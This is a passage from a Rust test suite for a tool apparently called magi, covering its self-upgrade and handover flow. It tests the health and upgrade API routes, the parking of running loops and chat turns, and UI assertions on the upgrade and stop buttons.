21833        for stage in [Stage::Done, Stage::Failed] {
21834            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
21835            let res = fx.post("/api/upgrade", None).await;
21836            assert_eq!(res.status, 200, "{stage:?}");
21837        }
21838        // No record at all, and the gate was released by the earlier calls.
21839        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
21840        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
21841    }
21842
21843    #[tokio::test]
21844    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
21845        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
21846        // and the route answers from its own logic.
21847        //
21848        // This test used to lean on the fixture's placeholder repo failing
21849        // config discovery, which left `mode = "notify"` - and a live,
21850        // unauthenticated call to the GitHub releases API inside a unit test.
21851        // GitHub allows 60 of those an hour per address, so the suite went red
21852        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
21853        // long as somebody kept re-running it: every attempt spent another
21854        // request. Six reruns across four pull requests were charged to that
21855        // before it was read as a rate limit rather than a flake.
21856        //
21857        // What the assertion is about is the "already current" branch, which
21858        // is reached by there being no newer release *or* nowhere to look. The
21859        // second one needs no network and cannot be rate limited.
21860        let repo = TempDir::new().expect("repo dir");
21861        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21862            .expect("write magi.toml");
21863        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21864
21865        // It must answer 200 and leave the process alone: restarting for an
21866        // upgrade that did not happen parks the run in flight and drops every
21867        // connection to pay for nothing. A probe against a deck already on the
21868        // newest build did exactly that, which is how this case got its own
21869        // branch.
21870        let res = fx.post("/api/upgrade", None).await;
21871        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21872        let body = res.json();
21873        assert!(body["to"].is_null(), "there was no release to move to");
21874        assert!(body["parked"].is_null(), "and nothing was parked");
21875        assert!(
21876            body["detail"]
21877                .as_str()
21878                .unwrap()
21879                .contains("nothing restarted"),
21880            "{body:?}"
21881        );
21882    }
21883
21884    #[tokio::test]
21885    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
21886        // `mode = "off"` for the same reason as the test above: a default
21887        // fixture repo falls back to `mode = "notify"`, which would make this
21888        // route's new `update` field a live, unauthenticated GitHub call on
21889        // every assertion in this suite that happens to hit `/api/health`.
21890        let repo = TempDir::new().expect("repo dir");
21891        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21892            .expect("write magi.toml");
21893        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21894
21895        let health = fx.get("/api/health").await.json();
21896        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
21897        assert_eq!(
21898            health["update"]["available"], false,
21899            "checking is off, which reads as \"unknown\", not \"none\""
21900        );
21901        assert!(health["update"]["to"].is_null());
21902        assert!(
21903            health["upgrade"].is_null(),
21904            "nothing has ever asked this deck to upgrade"
21905        );
21906    }
21907
21908    #[tokio::test]
21909    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
21910        let fx = Fixture::start().await;
21911        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
21912
21913        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21914        progress.parked_run = Some("20260905-000000-cd51".to_owned());
21915        progress.advance(crate::updater::Stage::Parking);
21916        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21917
21918        let health = fx.get("/api/health").await.json();
21919        assert_eq!(health["upgrade"]["stage"], "parking");
21920        assert_eq!(health["upgrade"]["from"], "0.5.1");
21921        assert_eq!(health["upgrade"]["to"], "0.5.2");
21922        let waiting_on = health["upgrade"]["waiting_on"]
21923            .as_str()
21924            .expect("waiting_on is set while parking a known run");
21925        assert!(waiting_on.contains("cd51"), "{waiting_on}");
21926        assert!(waiting_on.contains("implementing"), "{waiting_on}");
21927    }
21928
21929    #[tokio::test]
21930    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
21931        let fx = Fixture::start().await;
21932        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21933        progress.advance(crate::updater::Stage::Done);
21934        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21935
21936        let health = fx.get("/api/health").await.json();
21937        assert_eq!(health["upgrade"]["stage"], "done");
21938        assert!(
21939            health["upgrade"]["waiting_on"].is_null(),
21940            "nothing to wait on once it is done"
21941        );
21942    }
21943
21944    #[tokio::test]
21945    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
21946        let home = TempDir::new().expect("temp home");
21947        let runs = home.path().join("runs");
21948        std::fs::create_dir_all(&runs).expect("runs dir");
21949        let ui = Ui::new(
21950            Queue::at(home.path().join("queue")),
21951            Questions::at(home.path().join("questions")),
21952            Talks::at(home.path().join("talks")),
21953            runs,
21954            home.path().to_path_buf(),
21955            PathBuf::from("/repo/magi"),
21956        )
21957        .with_launch(launch_idle);
21958        let looping = ui.looping();
21959        let turns = ui.turns();
21960        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21961            .await
21962            .expect("bind loopback");
21963        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21964
21965        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21966        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21967
21968        hand_over(
21969            home.path(),
21970            &looping,
21971            &turns,
21972            &|_: &[String]| Duration::from_secs(5),
21973            served,
21974            |_| Ok(1),
21975        )
21976        .await
21977        .expect("hand over");
21978
21979        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
21980        assert_eq!(
21981            after.stage,
21982            crate::updater::Stage::Restarting,
21983            "hand_over owns the record through parking and up to restarting; \
21984             the successor is what finishes it"
21985        );
21986    }
21987
21988    /// The successor is started exactly once on success, and exactly once on
21989    /// failure too (a failed start is reported, never retried).
21990    #[tokio::test]
21991    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
21992        for fail in [false, true] {
21993            let home = TempDir::new().expect("temp home");
21994            let ui = idle_ui(&home);
21995            let looping = ui.looping();
21996            let turns = ui.turns();
21997            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21998                .await
21999                .expect("bind loopback");
22000            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22001            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22002            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22003
22004            let calls = std::sync::atomic::AtomicUsize::new(0);
22005            let outcome = hand_over(
22006                home.path(),
22007                &looping,
22008                &turns,
22009                &|_: &[String]| Duration::from_secs(5),
22010                served,
22011                |_| {
22012                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22013                    if fail {
22014                        anyhow::bail!("no exec")
22015                    } else {
22016                        Ok(4242)
22017                    }
22018                },
22019            )
22020            .await;
22021            assert_eq!(outcome.is_err(), fail);
22022            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22023
22024            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
22025                .expect("upgrade.log is written under the home");
22026            for step in [
22027                "entered",
22028                "finish_loop",
22029                "listener released",
22030                "starting the successor",
22031            ] {
22032                assert!(log.contains(step), "missing `{step}` in:\n{log}");
22033            }
22034            assert!(
22035                log.contains(if fail { "did not start" } else { "pid 4242" }),
22036                "{log}"
22037            );
22038        }
22039    }
22040
22041    /// The handover signal is seen however the race falls, and wakes its one
22042    /// waiter once per signal - nothing here can spin.
22043    #[tokio::test]
22044    async fn the_handover_signal_wakes_one_waiter_once() {
22045        let signal = Notify::new();
22046        // Signalled before anyone waits: the stored permit is not lost.
22047        signal.notify_one();
22048        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22049            .await
22050            .expect("an early signal is still seen");
22051        // One signal, one wake-up: a second wait does not resolve by itself.
22052        assert!(
22053            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22054                .await
22055                .is_err(),
22056            "a consumed signal must not wake a second time"
22057        );
22058        // Signalled while waiting.
22059        let signal = std::sync::Arc::new(signal);
22060        let waiter = tokio::spawn({
22061            let signal = std::sync::Arc::clone(&signal);
22062            async move { wait_for_handover(&signal).await }
22063        });
22064        tokio::time::sleep(Duration::from_millis(20)).await;
22065        assert!(!waiter.is_finished(), "nothing was signalled yet");
22066        signal.notify_one();
22067        tokio::time::timeout(Duration::from_secs(5), waiter)
22068            .await
22069            .expect("a late signal wakes the waiter")
22070            .expect("join");
22071    }
22072
22073    #[tokio::test]
22074    async fn health_says_how_long_a_handover_has_been_stuck() {
22075        let fx = Fixture::start().await;
22076        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22077        progress.advance(crate::updater::Stage::Replaced);
22078        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22079        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22080
22081        let health = fx.get("/api/health").await.json();
22082        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22083        assert!(stuck >= 600, "{stuck}");
22084        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22085        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22086    }
22087
22088    #[tokio::test]
22089    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22090        let home = tempfile::tempdir().expect("temp home");
22091        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22092        progress.advance(crate::updater::Stage::Parking);
22093        crate::updater::write_progress(home.path(), &progress).expect("seed");
22094        // What the second upgrade_and_restart and its handler do.
22095        let mut again = progress.clone();
22096        again.advance(crate::updater::Stage::Replaced);
22097        crate::updater::write_progress(home.path(), &again).expect("replaced");
22098        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22099        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22100        let after = crate::updater::read_progress(home.path()).expect("record");
22101        assert_eq!(after.stage, crate::updater::Stage::Parking);
22102    }
22103
22104    #[tokio::test]
22105    async fn health_does_not_call_a_live_parking_wait_stuck() {
22106        let fx = Fixture::start().await;
22107        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22108        progress.parked_run = Some("20260905-000000-cd51".to_owned());
22109        progress.advance(crate::updater::Stage::Parking);
22110        let hours = Duration::from_secs(3 * 3600);
22111        progress.started_at = Timestamp::now() - hours;
22112        progress.updated_at = Timestamp::now() - hours;
22113        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22114        let _lease = crate::updater::LeaseGuard::enter(
22115            fx.home.path(),
22116            Some("20260905-000000-cd51".to_owned()),
22117        );
22118
22119        let health = fx.get("/api/health").await.json();
22120        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22121        assert!(health["upgrade"]["stuck_kind"].is_null());
22122        assert_eq!(health["upgrade"]["handover_alive"], true);
22123        let waiting_on = health["upgrade"]["waiting_on"]
22124            .as_str()
22125            .expect("waiting_on");
22126        assert!(waiting_on.contains("cd51"), "{waiting_on}");
22127    }
22128
22129    fn idle_ui(home: &TempDir) -> Ui {
22130        let runs = home.path().join("runs");
22131        std::fs::create_dir_all(&runs).expect("runs dir");
22132        Ui::new(
22133            Queue::at(home.path().join("queue")),
22134            Questions::at(home.path().join("questions")),
22135            Talks::at(home.path().join("talks")),
22136            runs,
22137            home.path().to_path_buf(),
22138            PathBuf::from("/repo/magi"),
22139        )
22140        .with_launch(launch_idle)
22141    }
22142
22143    async fn park_fixture(
22144        home: &TempDir,
22145    ) -> (
22146        Ui,
22147        Arc<Mutex<LoopState>>,
22148        Arc<Mutex<TalkTurns>>,
22149        tokio::task::JoinHandle<std::io::Result<()>>,
22150    ) {
22151        let ui = idle_ui(home);
22152        let looping = ui.looping();
22153        let turns = ui.turns();
22154        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22155            .await
22156            .expect("bind loopback");
22157        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22158        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22159        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22160        (ui, looping, turns, served)
22161    }
22162
22163    /// The hand-over does not release the address while a chat turn is in
22164    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
22165    /// started once the turn ends.
22166    #[tokio::test]
22167    async fn hand_over_waits_for_a_running_chat_turn() {
22168        let home = TempDir::new().expect("temp home");
22169        let (ui, looping, turns, served) = park_fixture(&home).await;
22170        let ui = Arc::new(ui);
22171        let id = "20260901-000000-chat";
22172        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22173
22174        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22175        let handover = tokio::spawn({
22176            let home = home.path().to_path_buf();
22177            let turns = Arc::clone(&turns);
22178            let calls = Arc::clone(&calls);
22179            async move {
22180                hand_over(
22181                    &home,
22182                    &looping,
22183                    &turns,
22184                    &|_: &[String]| Duration::from_secs(60),
22185                    served,
22186                    move |_| {
22187                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22188                        Ok(1)
22189                    },
22190                )
22191                .await
22192            }
22193        });
22194
22195        let waiting = async {
22196            for _ in 0..200 {
22197                if crate::updater::read_progress(home.path())
22198                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
22199                {
22200                    return;
22201                }
22202                tokio::time::sleep(Duration::from_millis(25)).await;
22203            }
22204            panic!("the park never named the chat turn");
22205        };
22206        waiting.await;
22207        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22208
22209        // A new turn is refused, a queued claim and a direct `/say` see a busy
22210        // slot, and nothing new is live.
22211        let refused = ui.begin_talk_turn("20260901-000000-late").err();
22212        assert!(
22213            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22214            "a direct start says an upgrade is in progress"
22215        );
22216        assert!(
22217            ui.begin_queued_talk_turn("20260901-000000-late")
22218                .expect("queued claim")
22219                .is_none()
22220        );
22221        assert!(matches!(
22222            ui.begin_talk_turn_unless_pending("20260901-000000-late")
22223                .expect("start"),
22224            TalkTurnStart::Busy
22225        ));
22226        assert_eq!(turns.lock().unwrap().live.len(), 1);
22227
22228        // The health text names the turn.
22229        let progress = crate::updater::read_progress(home.path()).expect("progress");
22230        let view = upgrade_progress_view(&ui, progress);
22231        assert!(
22232            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
22233            "{:?}",
22234            view.waiting_on
22235        );
22236
22237        assert!(!handover.is_finished());
22238        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22239        drop(turn);
22240        handover.await.expect("join").expect("hand over");
22241        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22242        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22243    }
22244
22245    /// Chat stays open while the loop is still parking, and closes only once
22246    /// the loop is done; a turn started during the park is waited for.
22247    #[tokio::test]
22248    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
22249        let home = TempDir::new().expect("temp home");
22250        let (ui, looping, turns, served) = park_fixture(&home).await;
22251        let ui = Arc::new(ui);
22252        // A loop that ends only when told to.
22253        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
22254        lock_or_recover(&looping).live = Some(Live {
22255            stop: daemon::Stop::new(),
22256            handle: tokio::spawn(async move {
22257                let _ = loop_ended.await;
22258            }),
22259            opts: daemon::Opts::default(),
22260        });
22261
22262        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22263        let handover = tokio::spawn({
22264            let home = home.path().to_path_buf();
22265            let turns = Arc::clone(&turns);
22266            let calls = Arc::clone(&calls);
22267            async move {
22268                hand_over(
22269                    &home,
22270                    &looping,
22271                    &turns,
22272                    &|_: &[String]| Duration::from_secs(60),
22273                    served,
22274                    move |_| {
22275                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22276                        Ok(1)
22277                    },
22278                )
22279                .await
22280            }
22281        });
22282
22283        let reached = async {
22284            for _ in 0..200 {
22285                if crate::updater::read_progress(home.path())
22286                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
22287                {
22288                    return;
22289                }
22290                tokio::time::sleep(Duration::from_millis(25)).await;
22291            }
22292            panic!("the hand-over never reached parking");
22293        };
22294        reached.await;
22295
22296        // The loop is still parking: a chat turn starts.
22297        assert!(!turns.lock().unwrap().parking);
22298        let turn = ui
22299            .begin_talk_turn("20260901-000000-chat")
22300            .expect("claim")
22301            .expect("a turn can start while the loop parks");
22302
22303        // The loop ends; the slot closes while the first turn is still held.
22304        end_loop.send(()).expect("loop still waiting");
22305        for _ in 0..200 {
22306            if turns.lock().unwrap().parking {
22307                break;
22308            }
22309            tokio::time::sleep(Duration::from_millis(25)).await;
22310        }
22311        assert!(
22312            turns.lock().unwrap().parking,
22313            "closed once the loop is done"
22314        );
22315        let refused = ui.begin_talk_turn("20260901-000000-late").err();
22316        assert!(
22317            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22318            "no turn starts once the loop is done"
22319        );
22320        assert!(
22321            ui.begin_queued_talk_turn("20260901-000000-late")
22322                .expect("queued claim")
22323                .is_none()
22324        );
22325        assert!(!handover.is_finished());
22326        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22327
22328        drop(turn);
22329        handover.await.expect("join").expect("hand over");
22330        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22331        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22332    }
22333
22334    /// A turn that never ends cannot block the upgrade: past the bound the
22335    /// hand-over proceeds and records which talk it gave up on.
22336    #[tokio::test]
22337    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
22338        let home = TempDir::new().expect("temp home");
22339        let (ui, looping, turns, served) = park_fixture(&home).await;
22340        let id = "20260901-000000-stuk";
22341        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22342
22343        let calls = std::sync::atomic::AtomicUsize::new(0);
22344        hand_over(
22345            home.path(),
22346            &looping,
22347            &turns,
22348            &|_: &[String]| Duration::from_millis(300),
22349            served,
22350            |_| {
22351                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22352                Ok(1)
22353            },
22354        )
22355        .await
22356        .expect("hand over");
22357        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22358
22359        let progress = crate::updater::read_progress(home.path()).expect("progress");
22360        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
22361        assert!(
22362            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
22363            "{:?}",
22364            progress.detail
22365        );
22366        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
22367        assert!(
22368            log.contains("handing over anyway") && log.contains(id),
22369            "{log}"
22370        );
22371    }
22372
22373    /// A drain that finds the upgrade parking leaves the queued draft alone
22374    /// and gives the slot up, instead of starting another turn.
22375    #[tokio::test]
22376    async fn drain_loop_starts_no_turn_while_parking() {
22377        let tmp = TempDir::new().expect("tempdir");
22378        let repo = tmp.path().join("repo");
22379        std::fs::create_dir_all(&repo).expect("repo dir");
22380        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
22381        let home = TempDir::new().expect("temp home");
22382        let talks = Talks::at(home.path().join("talks"));
22383        let ui = Ui::new(
22384            Queue::at(home.path().join("queue")),
22385            Questions::at(home.path().join("questions")),
22386            talks.clone(),
22387            home.path().join("runs"),
22388            home.path().to_path_buf(),
22389            repo.clone(),
22390        )
22391        .with_worktrees_root(home.path().join("wt"));
22392        let cfg = config_for(&repo).await.expect("discover config");
22393        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
22394        let id = talk.id.clone();
22395        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
22396        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
22397        let turns = ui.turns();
22398        let parking = ParkingTurns::begin(&turns);
22399
22400        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
22401
22402        assert!(
22403            turns.lock().unwrap().live.is_empty(),
22404            "the slot is given up"
22405        );
22406        let fresh = talks.get(&id).expect("talk");
22407        assert_eq!(fresh.pending, "later", "the draft is still queued");
22408        assert!(fresh.turns.is_empty(), "no turn ran");
22409        drop(parking);
22410    }
22411
22412    /// Run `hand_over` against `ui` and return what the successor was told.
22413    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
22414        let looping = ui.looping();
22415        let turns = ui.turns();
22416        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22417            .await
22418            .expect("bind loopback");
22419        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22420        let told = std::sync::Mutex::new(None);
22421        hand_over(
22422            home.path(),
22423            &looping,
22424            &turns,
22425            &|_: &[String]| Duration::from_secs(5),
22426            served,
22427            |resume| {
22428                *told.lock().unwrap() = Some(resume);
22429                Ok(1)
22430            },
22431        )
22432        .await
22433        .expect("hand over");
22434        told.into_inner().unwrap().expect("successor was started")
22435    }
22436
22437    #[tokio::test]
22438    async fn a_running_loop_is_resumed_by_the_successor() {
22439        let home = TempDir::new().expect("temp home");
22440        let ui = idle_ui(&home);
22441        ui.start_loop(None).expect("start");
22442        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22443        // The idle loop sees the park and ends before the handover fires.
22444        for _ in 0..500 {
22445            if !ui.loop_view(None).running {
22446                break;
22447            }
22448            tokio::time::sleep(Duration::from_millis(2)).await;
22449        }
22450        assert!(handed_over(&home, ui).await, "a running loop must resume");
22451
22452        let successor = idle_ui(&home);
22453        assert!(!successor.loop_view(None).running);
22454        assert!(successor.resume_after_handover(true));
22455        assert!(successor.loop_view(None).running);
22456        successor.stop_loop(None, false).expect("stop");
22457    }
22458
22459    #[tokio::test]
22460    async fn a_second_upgrade_request_keeps_the_resume_intent() {
22461        let home = TempDir::new().expect("temp home");
22462        let ui = idle_ui(&home);
22463        ui.start_loop(None).expect("start");
22464        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22465            .expect("first park");
22466        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22467            .expect("second park");
22468        assert!(handed_over(&home, ui).await);
22469    }
22470
22471    #[tokio::test]
22472    async fn a_stop_during_the_handover_wait_is_honoured() {
22473        let home = TempDir::new().expect("temp home");
22474        let ui = idle_ui(&home);
22475        ui.start_loop(None).expect("start");
22476        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22477        ui.stop_loop(None, false).expect("stop");
22478        assert!(!handed_over(&home, ui).await);
22479    }
22480
22481    #[tokio::test]
22482    async fn an_idle_loop_stays_stopped_across_the_handover() {
22483        let home = TempDir::new().expect("temp home");
22484        let ui = idle_ui(&home);
22485        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22486        assert!(!handed_over(&home, ui).await);
22487
22488        let successor = idle_ui(&home);
22489        assert!(!successor.resume_after_handover(false));
22490        assert!(!successor.loop_view(None).running);
22491    }
22492
22493    #[tokio::test]
22494    async fn a_loop_the_operator_stopped_is_not_resumed() {
22495        let home = TempDir::new().expect("temp home");
22496        let ui = idle_ui(&home);
22497        ui.start_loop(None).expect("start");
22498        ui.stop_loop(None, false).expect("stop");
22499        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22500        assert!(!handed_over(&home, ui).await);
22501    }
22502
22503    #[test]
22504    fn only_an_explicit_one_requests_a_resume() {
22505        assert!(!resume_requested(None));
22506        assert!(!resume_requested(Some("0".into())));
22507        assert!(!resume_requested(Some("".into())));
22508        assert!(resume_requested(Some("1".into())));
22509    }
22510
22511    #[test]
22512    fn the_upgrade_button_arms_before_it_restarts_anything() {
22513        // It ends the process the operator is talking to, and a phone in a
22514        // pocket taps things. One tap arms, the second commits.
22515        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
22516        assert!(APP_JS.contains("Replace the binary and restart?"));
22517        assert!(APP_JS.contains("function confirmed("));
22518        // Hidden when the loop is somebody else's, matching the 409 above -
22519        // and hidden with nothing to install, matching the 200 "already
22520        // current" branch: an operator on the newest build must not be
22521        // offered a restart that would only park a run for nothing.
22522        assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
22523        // A park waits for the node in flight, up to an hour for an implement
22524        // wave. Leaving the button reading "Upgrading…" for that long is the
22525        // same mistake as an error rendered off screen: it looks wedged.
22526        assert!(
22527            APP_JS.contains("Parking, then restarting"),
22528            "the button says what it is waiting for"
22529        );
22530        // And nothing to install must give the button back rather than
22531        // pretending a restart is coming.
22532        assert!(APP_JS.contains("if (!out.to)"));
22533    }
22534
22535    #[test]
22536    fn stopping_the_loop_arms_but_starting_does_not() {
22537        // A stray tap must not leave the queue stopped overnight, so a stop is
22538        // two taps through the same helper the upgrade uses; a start stays one.
22539        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
22540        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
22541        assert!(APP_JS.contains("confirmed(button, question)"));
22542        // The label put back on timeout is the one saved when arming, not a
22543        // hard-coded upgrade caption that would rename the stop button.
22544        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
22545        assert!(APP_JS.contains("const label = btn.textContent;"));
22546        assert!(!APP_JS.contains("Neither direction is guarded"));
22547    }
22548
22549    #[test]
22550    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
22551        assert!(
22552            APP_JS.contains("state.health.version"),
22553            "the operator wants to know what is running even with nothing newer"
22554        );
22555        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
22556    }
22557
22558    #[test]
22559    fn the_upgrade_button_names_its_destination() {
22560        assert!(
22561            APP_JS.contains("`Update to ${update.to}`"),
22562            "pressing the button should not be a surprise about what it moves to"
22563        );
22564    }
22565
22566    #[test]
22567    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
22568        for stage in ["downloading", "replaced", "parking", "restarting"] {
22569            assert!(
22570                APP_JS.contains(&format!("\"{stage}\"")),
22571                "the phone must be able to tell {stage} apart from the others"
22572            );
22573        }
22574        assert!(APP_JS.contains(".waiting_on"));
22575        // What replaced the bare "Cannot reach magi: Failed to fetch": a
22576        // fetch failing while an upgrade is in flight is not an error, it is
22577        // the sub-second gap `bind_waiting` covers, and it must not be
22578        // reported as one.
22579        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
22580        assert!(APP_JS.contains("reconnects on its own"));
22581    }
22582
22583    #[test]
22584    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
22585        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
22586            ..APP_JS.find("function upgrade(").expect("upgrade")];
22587        assert!(!body.contains(
22588            "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
22589        ));
22590        assert!(body.contains("renderUpgradeError();"));
22591        assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
22592    }
22593
22594    #[test]
22595    fn an_overdue_upgrade_eventually_asks_for_a_human() {
22596        // The ceiling has to clear a full hour-long park with room to spare,
22597        // or an ordinary implement wave would be reported as a stuck upgrade.
22598        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
22599        assert!(APP_JS.contains("function upgradeOverdue("));
22600    }
22601
22602    #[test]
22603    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
22604        assert!(
22605            APP_JS.contains("Updated to ${upgradeInfo.to"),
22606            "the operator who asked for the restart wants to know it worked"
22607        );
22608    }
22609
22610    #[test]
22611    fn an_error_is_visible_from_where_the_button_is() {
22612        // The alert used to sit in the flow under the header. On a phone
22613        // scrolled 13 500 px down to a run's action sheet that is off screen,
22614        // so tapping Resume and being told "the loop is running run b455
22615        // right now" looked exactly like a button that did nothing.
22616        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22617            ..APP_CSS.find(".alert-text").expect(".alert-text")];
22618        assert!(
22619            alert.contains("position: fixed"),
22620            "an error about the thing under your thumb has to be visible from \
22621             where your thumb is: {alert}"
22622        );
22623        assert!(
22624            alert.contains("z-index: 25"),
22625            "above the dock (20) and the run-actions FAB (15), so neither \
22626             buries it: {alert}"
22627        );
22628        assert!(
22629            alert.contains("var(--tap)"),
22630            "and clear of the dock and the home indicator: {alert}"
22631        );
22632        // The FAB sits at the same height on the right. An error that covered
22633        // it would hide the button the operator reaches for next.
22634        assert!(
22635            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22636            "the FAB's column stays free: {alert}"
22637        );
22638    }
22639
22640    #[tokio::test]
22641    async fn an_older_attempt_says_what_replaced_it() {
22642        let fx = Fixture::start().await;
22643        let q = fx.queue();
22644        let runs = fx.runs();
22645        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22646        write_run(&runs, first, RunStatus::Stalled);
22647        write_run(&runs, second, RunStatus::Blocked);
22648
22649        let mut t = Task::new(
22650            "one task".to_owned(),
22651            "do it".to_owned(),
22652            PathBuf::from("/repo"),
22653            Source::Human,
22654        );
22655        t.runs = vec![first.to_owned(), second.to_owned()];
22656        q.put(&mut t).expect("put");
22657
22658        // Two cards with the same title and no hint which is which was the
22659        // question: "why are there two of the same, one stalled and one
22660        // blocked?" The older one now names its replacement.
22661        let rows = fx.get("/api/runs").await.json();
22662        let by = |short: &str| -> Value {
22663            rows.as_array()
22664                .unwrap()
22665                .iter()
22666                .find(|r| r["short"] == short)
22667                .cloned()
22668                .unwrap_or(Value::Null)
22669        };
